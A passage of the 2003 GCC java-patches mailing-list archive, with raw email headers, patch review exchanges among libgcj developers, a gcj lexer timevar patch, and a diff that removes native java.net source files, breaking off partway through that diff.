i'll add new tests to Mauve soon. thanks + cheers; rsn -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Que du magnifique iD8DBQE+dlEv+e1AKnsTRiERA0uHAKDNi2tdH9QOGYtAs9U2e/cjJSxIJgCgwkrP unKKQ2y30H5y094NzEscCJE=3D =3DRVg/ -----END PGP SIGNATURE----- From java-patches-return-6513-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 00:06:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17969 invoked by alias); 18 Mar 2003 00:06:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17906 invoked from network); 18 Mar 2003 00:06:27 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 18 Mar 2003 00:06:27 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAB12260; Mon, 17 Mar 2003 17:06:25 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 80A2A4F8057; Mon, 17 Mar 2003 17:01:19 -0700 (MST) To: GCC libjava patches Cc: Gcc Patch List Subject: Patch: gcj support for lex timevar From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: CHUBBY CHECKER owns my BUILDING! Date: 17 Mar 2003 17:01:19 -0700 Message-ID: <874r6135m8.fsf@fleche.redhat.com> Lines: 75 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This patch adds support for the TV_LEX timevar to gcj. Ok for trunk? Tom Index: gcc/java/ChangeLog from Tom Tromey * lex.c (do_java_lex): Renamed from java_lex. (java_lex): New function. Include timevar.h. Index: gcc/java/lex.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/lex.c,v retrieving revision 1.103 diff -u -r1.103 lex.c --- gcc/java/lex.c 24 Feb 2003 02:14:49 -0000 1.103 +++ gcc/java/lex.c 17 Mar 2003 21:05:14 -0000 @@ -38,12 +38,17 @@ #include "keyword.h" #include "flags.h" #include "chartables.h" +#ifndef JC1_LITE +#include "timevar.h" +#endif /* Function declarations. */ static char *java_sprint_unicode (struct java_line *, int); static void java_unicode_2_utf8 (unicode_t); static void java_lex_error (const char *, int); #ifndef JC1_LITE +static int do_java_lex (YYSTYPE *); +static int java_lex (YYSTYPE *); static int java_is_eol (FILE *, int); static tree build_wfl_node (tree); #endif @@ -937,7 +942,7 @@ #ifdef JC1_LITE yylex (YYSTYPE *java_lval) #else -java_lex (YYSTYPE *java_lval) +do_java_lex (YYSTYPE *java_lval) #endif { int c; @@ -1699,6 +1704,19 @@ } #ifndef JC1_LITE + +/* The exported interface to the lexer. */ +static int +java_lex (YYSTYPE *java_lval) +{ + int r; + + timevar_push (TV_LEX); + r = do_java_lex (java_lval); + timevar_pop (TV_LEX); + return r; +} + /* This is called by the parser to see if an error should be generated due to numeric overflow. This function only handles the particular case of the largest negative value, and is only called in the case @@ -1716,6 +1734,7 @@ java_lex_error ("Numeric overflow for `int' literal", 0); } } + #endif /* JC1_LITE */ static void From java-patches-return-6514-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 03:30:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18297 invoked by alias); 18 Mar 2003 03:30:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18250 invoked from network); 18 Mar 2003 03:30:45 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 18 Mar 2003 03:30:45 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id UAA23287; Mon, 17 Mar 2003 20:30:43 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 32D3E4F8057; Mon, 17 Mar 2003 20:25:38 -0700 (MST) To: Zack Weinberg Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Squelch Java use of HOST_FLOAT_WORDS_BIG_ENDIAN (take two) References: <871y1bx963.fsf@egil.codesourcery.com> <87n0jx7u34.fsf@egil.codesourcery.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: If a person is FAMOUS in this country, they have to go on the ROAD for MONTHS at a time and have their name misspelled on the SIDE of a GREYHOUND SCENICRUISER!! Date: 17 Mar 2003 20:25:37 -0700 In-Reply-To: <87n0jx7u34.fsf@egil.codesourcery.com> Message-ID: <87r8951hla.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Zack" == Zack Weinberg writes: Zack> Re-revised patch which gets decimal floating point output in Zack> jcf-dump right for normalized numbers. Thanks for doing this. It looks fine to me, but Andrew or Per must approve or reject. Tom From java-patches-return-6515-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 03:49:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15473 invoked by alias); 18 Mar 2003 03:49:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15426 invoked from network); 18 Mar 2003 03:49:31 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 18 Mar 2003 03:49:31 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id UAA26610; Mon, 17 Mar 2003 20:49:29 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C0A3F4F8057; Mon, 17 Mar 2003 20:44:25 -0700 (MST) To: Michael Koch Cc: gnustuff@thisiscool.com, java-patches@gcc.gnu.org Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch References: <2ZATOMLXRTPD08553C765OMLKJHB9ZY.3e73ef4f@p733> <877kax6gmu.fsf@fleche.redhat.com> <200303172058.18462.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Now that I have my ``APPLE,'' I comprehend COST ACCOUNTING!! Date: 17 Mar 2003 20:44:25 -0700 In-Reply-To: <200303172058.18462.konqueror@gmx.de> Message-ID: <87n0jt1gpy.fsf@fleche.redhat.com> Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Tom> This seems basically reasonable. It seems to me that if the ecos Tom> java.net port does nothing, then we don't need Tom> natInetAddressEcos.cc at all -- we can just set NET_PLATFORM Tom> appropriately for that port. Michael> Here an updated patch. What do you think ? Look good, thanks. Tom From java-patches-return-6516-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 05:50:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14303 invoked by alias); 18 Mar 2003 05:50:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14065 invoked from network); 18 Mar 2003 05:50:48 -0000 Received: from unknown (HELO egil.codesourcery.com) (66.92.14.122) by sources.redhat.com with SMTP; 18 Mar 2003 05:50:48 -0000 Received: from zack by egil.codesourcery.com with local (Exim 3.36 #1 (Debian)) id 18v9zp-0001tw-00; Mon, 17 Mar 2003 21:50:45 -0800 To: tromey@redhat.com Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Squelch Java use of HOST_FLOAT_WORDS_BIG_ENDIAN (take two) From: Zack Weinberg Date: Mon, 17 Mar 2003 21:50:45 -0800 In-Reply-To: <87r8951hla.fsf@fleche.redhat.com> (Tom Tromey's message of "17 Mar 2003 20:25:37 -0700") Message-ID: <871y159qa2.fsf@egil.codesourcery.com> User-Agent: Gnus/5.090016 (Oort Gnus v0.16) Emacs/21.2 References: <871y1bx963.fsf@egil.codesourcery.com> <87n0jx7u34.fsf@egil.codesourcery.com> <87r8951hla.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Tom Tromey writes: >>>>>> "Zack" == Zack Weinberg writes: > > Zack> Re-revised patch which gets decimal floating point output in > Zack> jcf-dump right for normalized numbers. > > Thanks for doing this. > > It looks fine to me, but Andrew or Per must approve or reject. I think I could technically check it in on my own authority but I'd prefer to get a reaction from Andrew or Per first. zw From java-patches-return-6517-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 05:56:09 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15491 invoked by alias); 18 Mar 2003 05:56:08 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15421 invoked from network); 18 Mar 2003 05:56:08 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by sources.redhat.com with SMTP; 18 Mar 2003 05:56:08 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-65-119.ewetel.net [80.228.65.119]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2I5u68G021474; Tue, 18 Mar 2003 06:56:07 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vA3v-0002Ua-00; Tue, 18 Mar 2003 06:54:59 +0100 From: Michael Koch To: tromey@redhat.com Subject: Re: java.io - okay to commit ? Date: Tue, 18 Mar 2003 06:56:59 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200303172011.18778.konqueror@gmx.de> <87adft4qsk.fsf@fleche.redhat.com> In-Reply-To: <87adft4qsk.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303180656.59680.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Montag, 17. M=E4rz 2003 22:38 schrieb Tom Tromey: > >>>>> "Michael" =3D=3D Michael Koch writes: > > Michael> the attached patch, merged much of java.io with classpath. > This is Michael> documentation and indentation. > > Fine, thanks. In general I think pure documentation and > indentation changes can go in under the "obvious" rule. Yes, I just asked because this patch is very big. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+drUrWSOgCCdjSDsRAk42AJsF2G8QPAO5y/qgHrJwjQNEf0tArACfaGz6 UkpePs4Iso5niiCDdRGN+W8=3D =3DdHga =2D----END PGP SIGNATURE----- From java-patches-return-6518-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 07:43:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21400 invoked by alias); 18 Mar 2003 07:43:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21352 invoked from network); 18 Mar 2003 07:43:08 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 18 Mar 2003 07:43:08 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-253.ewetel.net [80.228.73.253]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2I7h2dx005336 for ; Tue, 18 Mar 2003 08:43:03 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vBjQ-0002em-00 for ; Tue, 18 Mar 2003 08:41:56 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.net - remove of native code and configure fix Date: Tue, 18 Mar 2003 08:44:05 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_F5sd+epTym3X56b" Message-Id: <200303180844.05777.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_F5sd+epTym3X56b Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached fix to java.net and configure. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+ds5FWSOgCCdjSDsRAqa/AJ9k689jkFUGYhoDxvoLpKNKEmtHigCeIs2L =46dRvBTDkyH1B1fD7d84+RvA=3D =3DnR/L =2D----END PGP SIGNATURE----- --Boundary-00=_F5sd+epTym3X56b Content-Type: text/x-diff; charset="iso-8859-15"; name="net.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="net.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1786 diff -u -r1.1786 ChangeLog --- ChangeLog 18 Mar 2003 06:01:14 -0000 1.1786 +++ ChangeLog 18 Mar 2003 07:41:25 -0000 @@ -1,5 +1,15 @@ 2003-03-18 Michael Koch + * configure.in: Fixed links to platform dependant java.net files. + * configure: Regenerated. + * java/net/natInetAddress.cc, + java/net/natNetworkInterface.cc, + java/net/natPlainDatagramSocketImpl.cc, + java/net/natPlainSocketImpl.cc: + Removed. + +2003-03-18 Michael Koch + * configure.in: Create links to architecture dependent files, introduced PLATFORMNET variable (set to NoNet for newlib usage). * configure: Regenerated. Index: configure =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure,v retrieving revision 1.172 diff -u -r1.172 configure --- configure 18 Mar 2003 06:01:15 -0000 1.172 +++ configure 18 Mar 2003 07:41:28 -0000 @@ -9136,7 +9136,7 @@ cat >> $CONFIG_STATUS <> $CONFIG_STATUS <<\EOF Index: configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.154 diff -u -r1.154 configure.in --- configure.in 18 Mar 2003 06:01:14 -0000 1.154 +++ configure.in 18 Mar 2003 07:41:28 -0000 @@ -275,10 +275,10 @@ dnl Likewise for natInetAddress.cc, natNetworkInterface.cc, natPlainSocketImpl.cc dnl and natPlainDatagramSocketImpl.cc test -d java/net || mkdir java/net -AC_LINK_FILES(java/net/natInetAddress${PLATFORMNET}.cc, java/lang/natInetAddress.cc) -AC_LINK_FILES(java/net/natNetworkInterface${PLATFORMNET}.cc, java/lang/natNetworkInterface.cc) -AC_LINK_FILES(java/net/natPlainSocketImpl${PLATFORMNET}.cc, java/lang/natPlainSocketImpl.cc) -AC_LINK_FILES(java/net/natPlainDatagramSocketImpl${PLATFORMNET}.cc, java/lang/natPlainDatagramSocketImpl.cc) +AC_LINK_FILES(java/net/natInetAddress${PLATFORMNET}.cc, java/net/natInetAddress.cc) +AC_LINK_FILES(java/net/natNetworkInterface${PLATFORMNET}.cc, java/net/natNetworkInterface.cc) +AC_LINK_FILES(java/net/natPlainSocketImpl${PLATFORMNET}.cc, java/net/natPlainSocketImpl.cc) +AC_LINK_FILES(java/net/natPlainDatagramSocketImpl${PLATFORMNET}.cc, java/net/natPlainDatagramSocketImpl.cc) case "${host}" in *mingw*) Index: java/net/natInetAddress.cc =================================================================== RCS file: java/net/natInetAddress.cc diff -N java/net/natInetAddress.cc --- java/net/natInetAddress.cc 1 Nov 2002 06:35:14 -0000 1.20 +++ /dev/null 1 Jan 1970 00:00:00 -0000 @@ -1,357 +0,0 @@ -// natInetAddress.cc - -/* Copyright (C) 1998, 1999, 2000 Free Software Foundation - - This file is part of libgcj. - -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ - -#include - -#ifdef WIN32 - -#include -#include -#undef STRICT - -#ifndef MAXHOSTNAMELEN -#define MAXHOSTNAMELEN 64 -#endif /* MAXHOSTNAMELEN */ - -#else /* WIN32 */ - -#ifdef HAVE_UNISTD_H -#include -#endif -#include -#include - -#include -#include -#ifdef HAVE_SYS_SOCKET_H -#include -#endif -#ifdef HAVE_NETINET_IN_H -#include -#endif -#ifdef HAVE_ARPA_INET_H -#include -#endif -#ifdef HAVE_NETDB_H -#include -#endif - -#endif /* WIN32 */ - -#include -#include -#include -#include -#include - -#if defined(HAVE_UNAME) && ! defined(HAVE_GETHOSTNAME) -#include -#endif - -#ifndef HAVE_GETHOSTNAME_DECL -extern "C" int gethostname (char *name, int namelen); -#endif - -#ifdef DISABLE_JAVA_NET - -jbyteArray -java::net::InetAddress::aton (jstring) -{ - return NULL; -} - -jint -java::net::InetAddress::getFamily (jbyteArray bytes) -{ - return 0; -} - -JArray * -java::net::InetAddress::lookup (jstring, java::net::InetAddress *, jboolean) -{ - return NULL; -} - -jstring -java::net::InetAddress::getLocalHostname () -{ - return NULL; -} - -#else /* DISABLE_JAVA_NET */ - -jbyteArray -java::net::InetAddress::aton (jstring host) -{ - char *hostname; - char buf[100]; - int len = JvGetStringUTFLength(host); - if (len < 100) - hostname = buf; - else - hostname = (char*) _Jv_AllocBytes (len+1); - JvGetStringUTFRegion (host, 0, host->length(), hostname); - buf[len] = '\0'; - char* bytes = NULL; - int blen = 0; -#ifdef HAVE_INET_ATON - struct in_addr laddr; - if (inet_aton (hostname, &laddr)) - { - bytes = (char*) &laddr; - blen = 4; - } -#elif defined(HAVE_INET_ADDR) -#if ! HAVE_IN_ADDR_T - typedef jint in_addr_t; -#endif - in_addr_t laddr = inet_addr (hostname); - if (laddr != (in_addr_t)(-1)) - { - bytes = (char*) &laddr; - blen = 4; - } -#endif -#if defined (HAVE_INET_PTON) && defined (HAVE_INET6) - char inet6_addr[16]; - if (len != 0 && inet_pton (AF_INET6, hostname, inet6_addr) > 0) - { - bytes = inet6_addr; - blen = 16; - } -#endif - if (blen == 0) - return NULL; - jbyteArray result = JvNewByteArray (blen); - memcpy (elements (result), bytes, blen); - return result; -} - -jint -java::net::InetAddress::getFamily (jbyteArray bytes) -{ - int len = bytes->length; - if (len == 4) - return AF_INET; -#ifdef HAVE_INET6 - else if (len == 16) - return AF_INET6; -#endif /* HAVE_INET6 */ - else - JvFail ("unrecognized size"); -} - - -JArray * -java::net::InetAddress::lookup (jstring host, java::net::InetAddress* iaddr, - jboolean all) -{ - struct hostent *hptr = NULL; -#if defined (HAVE_GETHOSTBYNAME_R) || defined (HAVE_GETHOSTBYADDR_R) - struct hostent hent_r; -#if HAVE_STRUCT_HOSTENT_DATA - struct hostent_data fixed_buffer, *buffer_r = &fixed_buffer; -#else -#if defined (__GLIBC__) - // FIXME: in glibc, gethostbyname_r returns NETDB_INTERNAL to herr and - // ERANGE to errno if the buffer size is too small, rather than what is - // expected here. We work around this by setting a bigger buffer size and - // hoping that it is big enough. - char fixed_buffer[1024]; -#else - char fixed_buffer[200]; -#endif - char *buffer_r = fixed_buffer; - int size_r = sizeof (fixed_buffer); -#endif -#endif - - if (host != NULL) - { - char *hostname; - char buf[100]; - int len = JvGetStringUTFLength(host); - if (len < 100) - hostname = buf; - else - hostname = (char*) _Jv_AllocBytes (len+1); - JvGetStringUTFRegion (host, 0, host->length(), hostname); - buf[len] = '\0'; -#ifdef HAVE_GETHOSTBYNAME_R - while (true) - { - int ok; -#if HAVE_STRUCT_HOSTENT_DATA - ok = ! gethostbyname_r (hostname, &hent_r, buffer_r); -#else - int herr = 0; -#ifdef GETHOSTBYNAME_R_RETURNS_INT - ok = ! gethostbyname_r (hostname, &hent_r, buffer_r, size_r, - &hptr, &herr); -#else - hptr = gethostbyname_r (hostname, &hent_r, buffer_r, size_r, &herr); - ok = hptr != NULL; -#endif /* GETHOSTNAME_R_RETURNS_INT */ - if (! ok && herr == ERANGE) - { - size_r *= 2; - buffer_r = (char *) _Jv_AllocBytes (size_r); - } - else -#endif /* HAVE_STRUCT_HOSTENT_DATA */ - break; - } -#else - // FIXME: this is insufficient if some other piece of code calls - // this gethostbyname. - JvSynchronize sync (java::net::InetAddress::localhostAddress); - hptr = gethostbyname (hostname); -#endif /* HAVE_GETHOSTBYNAME_R */ - } - else - { - jbyteArray bytes = iaddr->addr; - char *chars = (char*) elements (bytes); - int len = bytes->length; - int type; - char *val; - if (len == 4) - { - val = chars; - type = iaddr->family = AF_INET; - } -#ifdef HAVE_INET6 - else if (len == 16) - { - val = (char *) &chars; - type = iaddr->family = AF_INET6; - } -#endif /* HAVE_INET6 */ - else - JvFail ("unrecognized size"); - -#ifdef HAVE_GETHOSTBYADDR_R - while (true) - { - int ok; -#if HAVE_STRUCT_HOSTENT_DATA - ok = ! gethostbyaddr_r (val, len, type, &hent_r, buffer_r); -#else - int herr = 0; -#ifdef GETHOSTBYADDR_R_RETURNS_INT - ok = ! gethostbyaddr_r (val, len, type, &hent_r, - buffer_r, size_r, &hptr, &herr); -#else - hptr = gethostbyaddr_r (val, len, type, &hent_r, - buffer_r, size_r, &herr); - ok = hptr != NULL; -#endif /* GETHOSTBYADDR_R_RETURNS_INT */ - if (! ok && herr == ERANGE) - { - size_r *= 2; - buffer_r = (char *) _Jv_AllocBytes (size_r); - } - else -#endif /* HAVE_STRUCT_HOSTENT_DATA */ - break; - } -#else /* HAVE_GETHOSTBYADDR_R */ - // FIXME: this is insufficient if some other piece of code calls - // this gethostbyaddr. - JvSynchronize sync (java::net::InetAddress::localhostAddress); - hptr = gethostbyaddr (val, len, type); -#endif /* HAVE_GETHOSTBYADDR_R */ - } - if (hptr != NULL) - { - if (!all) - host = JvNewStringUTF (hptr->h_name); - java::lang::SecurityException *ex = checkConnect (host); - if (ex != NULL) - { - if (iaddr == NULL || iaddr->addr == NULL) - throw ex; - hptr = NULL; - } - } - if (hptr == NULL) - { - if (iaddr != NULL && iaddr->addr != NULL) - { - iaddr->hostName = iaddr->getHostAddress(); - return NULL; - } - else - throw new java::net::UnknownHostException(host); - } - int count; - if (all) - { - char** ptr = hptr->h_addr_list; - count = 0; - while (*ptr++) count++; - } - else - count = 1; - JArray *result; - java::net::InetAddress** iaddrs; - if (all) - { - result = java::net::InetAddress::allocArray (count); - iaddrs = elements (result); - } - else - { - result = NULL; - iaddrs = &iaddr; - } - - for (int i = 0; i < count; i++) - { - if (iaddrs[i] == NULL) - iaddrs[i] = new java::net::InetAddress (NULL, NULL); - if (iaddrs[i]->hostName == NULL) - iaddrs[i]->hostName = host; - if (iaddrs[i]->addr == NULL) - { - char *bytes = hptr->h_addr_list[i]; - iaddrs[i]->addr = JvNewByteArray (hptr->h_length); - iaddrs[i]->family = getFamily (iaddrs[i]->addr); - memcpy (elements (iaddrs[i]->addr), bytes, hptr->h_length); - } - } - return result; -} - -jstring -java::net::InetAddress::getLocalHostname () -{ - char *chars; -#ifdef HAVE_GETHOSTNAME - char buffer[MAXHOSTNAMELEN]; - if (gethostname (buffer, MAXHOSTNAMELEN)) - return NULL; - chars = buffer; -#elif HAVE_UNAME - struct utsname stuff; - if (uname (&stuff) != 0) - return NULL; - chars = stuff.nodename; -#else - return NULL; -#endif - // It is admittedly non-optimal to convert the hostname to Unicode - // only to convert it back in getByName, but simplicity wins. Note - // that unless there is a SecurityManager, we only get called once - // anyway, thanks to the InetAddress.localhost cache. - return JvNewStringUTF (chars); -} - -#endif /* DISABLE_JAVA_NET */ Index: java/net/natNetworkInterface.cc =================================================================== RCS file: java/net/natNetworkInterface.cc diff -N java/net/natNetworkInterface.cc --- java/net/natNetworkInterface.cc 21 Nov 2002 10:08:03 -0000 1.6 +++ /dev/null 1 Jan 1970 00:00:00 -0000 @@ -1,144 +0,0 @@ -// natNetworkInterface.cc - -/* Copyright (C) 2002 Free Software Foundation - - This file is part of libgcj. - -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ - -#include -#include - -#ifdef WIN32 - -#include -#include -#undef STRICT - -#else /* WIN32 */ - -#ifdef HAVE_UNISTD_H -#include -#endif -#include -#include -#include - -#include -#include -#ifdef HAVE_NETINET_IN_H -#include -#endif -#ifdef HAVE_ARPA_INET_H -#include -#endif -#ifdef HAVE_NETDB_H -#include -#endif -#ifdef HAVE_SYS_IOCTL_H -#define BSD_COMP /* Get FIONREAD on Solaris2. */ -#include -#endif -#ifdef HAVE_NET_IF_H -#include -#endif - -#endif /* WIN32 */ - -#include -#include -#include -#include -#include -#include - -#ifdef DISABLE_JAVA_NET - -::java::util::Vector* -java::net::NetworkInterface::getRealNetworkInterfaces () -{ - ::java::util::Vector* ht = new ::java::util::Vector(); - return ht; -} - -#else /* DISABLE_JAVA_NET */ - -::java::util::Vector* -java::net::NetworkInterface::getRealNetworkInterfaces () -{ -#ifdef WIN32 - throw new ::java::net::SocketException; -#else - int fd; - int num_interfaces = 0; - struct ifconf if_data; - struct ifreq* if_record; - ::java::util::Vector* ht = new ::java::util::Vector (); - - if_data.ifc_len = 0; - if_data.ifc_buf = NULL; - - // Open a (random) socket to have a file descriptor for the ioctl calls. - fd = _Jv_socket (PF_INET, SOCK_DGRAM, htons (IPPROTO_IP)); - - if (fd < 0) - throw new ::java::net::SocketException; - - // Get all interfaces. If not enough buffers are available try it - // with a bigger buffer size. - do - { - num_interfaces += 16; - - if_data.ifc_len = sizeof (struct ifreq) * num_interfaces; - if_data.ifc_buf = - (char*) _Jv_Realloc (if_data.ifc_buf, if_data.ifc_len); - - // Try to get all local interfaces. - if (::ioctl (fd, SIOCGIFCONF, &if_data) < 0) - throw new java::net::SocketException; - } - while (if_data.ifc_len >= (sizeof (struct ifreq) * num_interfaces)); - - // Get addresses of all interfaces. - if_record = if_data.ifc_req; - - for (int n = 0; n < if_data.ifc_len; n += sizeof (struct ifreq)) - { - struct ifreq ifr; - - memset (&ifr, 0, sizeof (ifr)); - strcpy (ifr.ifr_name, if_record->ifr_name); - - // Try to get the IPv4-address of the local interface - if (::ioctl (fd, SIOCGIFADDR, &ifr) < 0) - throw new java::net::SocketException; - - int len = 4; - struct sockaddr_in sa = *((sockaddr_in*) &(ifr.ifr_addr)); - - jbyteArray baddr = JvNewByteArray (len); - memcpy (elements (baddr), &(sa.sin_addr), len); - jstring if_name = JvNewStringLatin1 (if_record->ifr_name); - Inet4Address* address = - new java::net::Inet4Address (baddr, JvNewStringLatin1 ("")); - ht->add (new NetworkInterface (if_name, address)); - if_record++; - } - -#ifdef HAVE_INET6 - // FIXME: read /proc/net/if_inet6 (on Linux 2.4) -#endif - - _Jv_Free (if_data.ifc_buf); - - if (fd >= 0) - _Jv_close (fd); - - return ht; -#endif /* WIN32 */ -} - -#endif // DISABLE_JAVA_NET // Index: java/net/natPlainDatagramSocketImpl.cc =================================================================== RCS file: java/net/natPlainDatagramSocketImpl.cc diff -N java/net/natPlainDatagramSocketImpl.cc --- java/net/natPlainDatagramSocketImpl.cc 26 Nov 2002 20:09:28 -0000 1.52 +++ /dev/null 1 Jan 1970 00:00:00 -0000 @@ -1,872 +0,0 @@ -/* Copyright (C) 1999, 2000, 2002 Free Software Foundation - - This file is part of libgcj. - -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ - -#include -#include - -#ifdef WIN32 - -#include -#include - -#else /* WIN32 */ - -#ifdef HAVE_NETINET_IN_H -#include -#endif -#ifdef HAVE_ARPA_INET_H -#include -#endif -#include -#include - -#endif /* WIN32 */ - -#if HAVE_BSTRING_H -// Needed for bzero, implicitly used by FD_ZERO on IRIX 5.2 -#include -#endif - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#ifdef DISABLE_JAVA_NET - -void -java::net::PlainDatagramSocketImpl::create () -{ - throw new SocketException ( - JvNewStringLatin1 ("DatagramSocketImpl.create: unimplemented")); -} - -void -java::net::PlainDatagramSocketImpl::bind (jint, java::net::InetAddress *) -{ - throw new BindException ( - JvNewStringLatin1 ("DatagramSocketImpl.bind: unimplemented")); -} - -void -java::net::PlainDatagramSocketImpl::connect (java::net::InetAddress *, jint) -{ - throw new SocketException ( - JvNewStringLatin1 ("DatagramSocketImpl.connect: unimplemented")); -} - -void -java::net::PlainDatagramSocketImpl::disconnect () -{ - throw new SocketException ( - JvNewStringLatin1 ("DatagramSocketImpl.disconnect: unimplemented")); -} - -jint -java::net::PlainDatagramSocketImpl::peek (java::net::InetAddress *) -{ - throw new java::io::IOException ( - JvNewStringLatin1 ("DatagramSocketImpl.peek: unimplemented")); -} - -jint -java::net::PlainDatagramSocketImpl::peekData(java::net::DatagramPacket *) -{ - throw new java::io::IOException ( - JvNewStringLatin1 ("DatagramSocketImpl.peekData: unimplemented")); -} - -void -java::net::PlainDatagramSocketImpl::close () -{ - throw new 